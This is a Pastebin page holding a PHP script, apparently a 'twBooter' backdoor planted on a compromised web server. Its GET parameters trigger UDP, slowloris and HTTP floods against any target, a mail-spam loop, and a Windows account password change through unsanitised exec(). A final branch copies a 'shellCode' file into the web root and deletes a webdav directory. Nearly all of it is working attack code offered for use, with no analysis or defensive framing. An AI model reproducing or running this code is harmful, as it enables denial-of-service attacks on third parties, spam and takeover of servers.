Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (!isset($_GET['type']))
- {
- die(" ");
- }
- ignore_user_abort(TRUE);
- set_time_limit(0);
- if ($_GET['type'] == "udp")
- {
- if ((!isset($_GET['host']))
- OR (!isset($_GET['time']))
- OR (!isset($_GET['port'])))
- {
- die(" ");
- }
- $out='';
- $packets = 0;
- $exec_time = $_GET['time'];
- $time = time();
- $max_time = $time + $exec_time;
- $host = $_GET['host'];
- for($i = 0; $i < 65000; $i++)
- {
- $out .= 'X';
- }
- while(1)
- {
- $packets++;
- if(time() > $max_time)
- {
- break;
- }
- if ($_GET['port'] == "rand")
- {
- $rand = rand(1,65000);
- }
- else
- {
- $rand = $_GET['port'];
- }
- $fp = fsockopen("udp://{$host}", $rand, $errno, $errstr, 5);
- if($fp)
- {
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- echo "UDP flood completed with {$packets} packets (" . round((($packets*65)/1024)/$exec_time, 2) . " MB per second) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
- }
- else if ($_GET['type'] == "slowloris") //Thanks Luke <3
- {
- if ((!isset($_GET['time']))
- OR (!isset($_GET['host'])))
- {
- die(" ");
- }
- $host = $_GET['host'];
- $exec_time = $_GET['time'];
- $time = time();
- $max_time = $time + $exec_time;
- while(1)
- {
- if(time() > $max_time)
- {
- break;
- }
- $fp = fsockopen($host, 80, $errno, $errstr);
- if (!$fp)
- {
- die(" ");
- }
- else
- {
- $out = "POST / HTTP/1.1\r\n";
- $out .= "Host: {$host}\r\n";
- $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
- $out .= "Content-Length: " . rand(1, 1000) . "\r\n";
- $out .= "X-a: " . rand(1,10000) . "\r\n";
- fwrite($fp, $out);
- }
- }
- echo "Slowloris flood complete after: {$exec_time} seconds";
- }
- else if ($_GET['type'] == "http") //Thanks Luke
- {
- if ((!isset($_GET['host']))
- OR (!isset($_GET['time']))
- OR (!isset($_GET['page'])))
- {
- die(" ");
- }
- $host = $_GET['host'];
- $exec_time = $_GET['time'];
- $time = time();
- $max_time = $time+$exec_time;
- while(1)
- {
- if(time() > $max_time)
- {
- break;
- }
- $fp = fsockopen($host, 80, $errno, $errstr, 140);
- if (!$fp)
- {
- die(" ");
- }
- else
- {
- $out = "GET {$_GET['page']} HTTP/1.1\r\n";
- $out .= "Host: {$ip}\r\n";
- $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
- $out .= "Accept: */*\r\n\r\n";
- fwrite($fp, $out);
- }
- }
- echo "HTTP flood complete after: {$exec_time} seconds\n";
- }
- else if ($_GET['type'] == "mail")
- {
- if ((!isset($_GET['to']))
- OR (!isset($_GET['message'])))
- {
- die(" ");
- }
- $exec_time = $_GET['time'];
- $time = time();
- $max_time = $time+$exec_time;
- while(1)
- {
- if (time() > $max_time)
- {
- break;
- }
- $to = $_GET['to'];
- $subject = "Important Message";
- $body = $_GET['message'];
- $headers = "From: twBooter@{$_SERVER['HTTP_HOST']}\r\n";
- $headers .= "Reply-To: twBooter@{$_SERVER['HTTP_HOST']}\r\n";
- $headers .= "X-Mailer: PHP/" . phpversion();
- mail($to, $subject, $body, $headers);
- }
- }
- elseif ($_GET['type'] == "pass")
- {
- if (!isset($_GET['changepass']))
- {
- die(" ");
- }
- exec("net user wampp {$_GET['changepass']}", $outputArr);
- print_r($outputArr);
- }
- elseif ($_GET['type'] == "patch")
- {
- if (!isset($_GET['client']) || !isset($_GET['stage']))
- {
- die(" ");
- }
- if ($_GET['client'] == "webdav")
- {
- if ($_GET['stage'] == "one")
- {
- $shellCode = file_get_contents('./serverconfig.php');
- $lfh = fopen("../htdocs/serverconfig.php", "w");
- if (fwrite($lfh, $shellCode))
- {
- echo "true";
- }
- fclose($lfh);
- }
- else if ($_GET['stage'] == "two")
- {
- exec("rmdir /q ../webdav");
- }
- }
- }
- else
- {
- die(" ");
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement